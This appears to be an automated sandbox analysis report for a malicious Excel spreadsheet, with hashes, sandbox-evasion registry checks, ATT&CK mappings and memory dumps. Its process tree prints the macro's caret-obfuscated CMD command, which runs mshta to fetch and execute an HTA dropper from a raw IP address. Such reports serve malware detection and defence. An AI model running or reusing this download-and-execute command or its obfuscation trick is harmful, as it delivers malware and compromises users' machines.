4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f

General

Target

4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f.xls
Size

35KB
MD5

f774b8cf0bcb530bf08e209b2a69c0f5
SHA1

bd1998f9375ba97526878cbbd6302c4f85b43fa2
SHA256

4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f
SHA512

207ba876872105df91f7232abc24f81f216fb953a3b1db830243b021ac3de5ff5c5980d3603be5bb9cf55cbe218a51dc327781c317f3758580e93781396b924f
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3688	4216	CMD.EXE	84

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	2488	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4216	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE
4216	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 3688	4216	EXCEL.EXE	86
PID 4216 wrote to memory of 3688	4216	EXCEL.EXE	86
PID 3688 wrote to memory of 2488	3688	CMD.EXE	89
PID 3688 wrote to memory of 2488	3688	CMD.EXE	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
d97336cf8a8143fdc31d675dad4ce418

SHA1
6333820fc85d8bc7fd7f6d354c1ddc3fd25d69a7

SHA256
a396a695d4b6a2f4caa2aa727b773f95f7f9a67b263c60faf445213a87b9025b

SHA512
a1a2553465f744de20b9084d3a345c8240826e9f5a4c8688ca189ec5c888a6a113b924b3fd3b519e5912b9aea6c0f7783f510f964b04d058ed26472dca83c3a5

Download Submit
memory/4216-15-0x00007FFB7C760000-0x00007FFB7C770000-memory.dmp

Filesize
64KB

Download
memory/4216-16-0x00007FFB7C760000-0x00007FFB7C770000-memory.dmp

Filesize
64KB

Download
memory/4216-1-0x00007FFB7EDB0000-0x00007FFB7EDC0000-memory.dmp

Filesize
64KB

Download
memory/4216-4-0x00007FFB7EDB0000-0x00007FFB7EDC0000-memory.dmp

Filesize
64KB

Download
memory/4216-9-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-10-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-11-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-14-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-13-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-17-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-2-0x00007FFB7EDB0000-0x00007FFB7EDC0000-memory.dmp

Filesize
64KB

Download
memory/4216-12-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-3-0x00007FFBBEDCD000-0x00007FFBBEDCE000-memory.dmp

Filesize
4KB

Download
memory/4216-20-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-19-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-18-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-8-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-7-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-6-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-5-0x00007FFB7EDB0000-0x00007FFB7EDC0000-memory.dmp

Filesize
64KB

Download
memory/4216-31-0x00007FFBBED30000-0x00007FFBBEF25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-0-0x00007FFB7EDB0000-0x00007FFB7EDC0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads